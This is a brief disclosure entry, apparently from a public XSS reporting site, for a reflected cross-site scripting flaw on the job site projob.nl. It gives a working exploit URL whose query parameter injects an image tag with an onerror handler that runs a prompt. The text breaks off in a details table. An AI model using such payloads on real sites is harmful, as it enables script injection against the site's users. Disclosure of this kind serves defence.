projob.nl XSS vulnerability

Vulnerable URL: http://www.projob.nl/en/3563/All-vacancies.html?query=%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%2FXSSPOSED%2F%3E=%5BCategories%5D%5B%5BID%5D+In+5195%5D+And+%5BFContracttype%5D%5B%5BID%5D+In+9156%5D+And+%5BFFulltimeParttime%5D%5B%5BID%5D+In+9286%5D Details: Description| Value...